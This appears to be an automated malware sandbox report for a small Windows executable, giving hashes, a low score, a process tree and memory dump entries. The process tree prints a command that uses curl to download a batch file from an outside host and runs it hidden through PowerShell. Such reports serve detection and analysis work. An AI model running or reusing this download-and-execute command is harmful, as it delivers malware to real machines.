177b40f96a09a3919b2c8846ca73abb09855d078ff9dee89610bc2b75d44cb31

Analysis

max time kernel
31s
max time network
37s
platform
windows7_x64
resource
win7-20230703-en
resource tags

arch:x64arch:x86image:win7-20230703-enlocale:en-usos:windows7-x64system
submitted
04-07-2023 13:33

Target

a299e230a172c79e5d30de052.exe
Size

3KB
MD5

a299e230a172c79e5d30de052cefaddc
SHA1

9ac47e62085f05a4ce58bd999332ab04fee40e30
SHA256

177b40f96a09a3919b2c8846ca73abb09855d078ff9dee89610bc2b75d44cb31
SHA512

0ca74bb6c51bc374be01402aa8e4a284c1730c49ba6ba1425871c754e1dfd8a7b7bfe92dd6e854941f299e724488ef5474f92253001503a8f38531b395e6b509

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1308	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1308	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2308 wrote to memory of 1776	2308	a299e230a172c79e5d30de052.exe	29
PID 2308 wrote to memory of 1776	2308	a299e230a172c79e5d30de052.exe	29
PID 2308 wrote to memory of 1776	2308	a299e230a172c79e5d30de052.exe	29
PID 1776 wrote to memory of 1308	1776	cmd.exe	31
PID 1776 wrote to memory of 1308	1776	cmd.exe	31
PID 1776 wrote to memory of 1308	1776	cmd.exe	31

C:\Users\Admin\AppData\Local\Temp\a299e230a172c79e5d30de052.exe
"C:\Users\Admin\AppData\Local\Temp\a299e230a172c79e5d30de052.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -o %temp%\v8pb4a2bgu.bat https://upload.nugeta.net/uploads/Uni.bat & powershell start -WindowStyle hidden %temp%\v8pb4a2bgu.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start -WindowStyle hidden C:\Users\Admin\AppData\Local\Temp\v8pb4a2bgu.bat
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1308

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1308-59-0x000000001B100000-0x000000001B3E2000-memory.dmp

Filesize
2.9MB

Download
memory/1308-60-0x00000000023E0000-0x00000000023E8000-memory.dmp

Filesize
32KB

Download
memory/1308-61-0x0000000002400000-0x0000000002480000-memory.dmp

Filesize
512KB

Download
memory/1308-62-0x0000000002400000-0x0000000002480000-memory.dmp

Filesize
512KB

Download
memory/1308-63-0x0000000002400000-0x0000000002480000-memory.dmp

Filesize
512KB

Download
memory/1308-64-0x000000000240B000-0x0000000002442000-memory.dmp

Filesize
220KB

Download
memory/2308-54-0x000000013FE80000-0x000000013FE86000-memory.dmp

Filesize
24KB

Download